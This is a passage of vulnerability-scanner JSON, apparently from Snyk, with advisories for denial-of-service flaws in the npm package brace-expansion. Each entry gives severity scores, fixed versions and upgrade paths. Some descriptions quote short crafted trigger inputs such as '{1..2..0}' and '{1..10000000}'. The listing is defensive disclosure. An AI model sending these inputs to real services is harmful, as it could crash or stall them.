<5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": 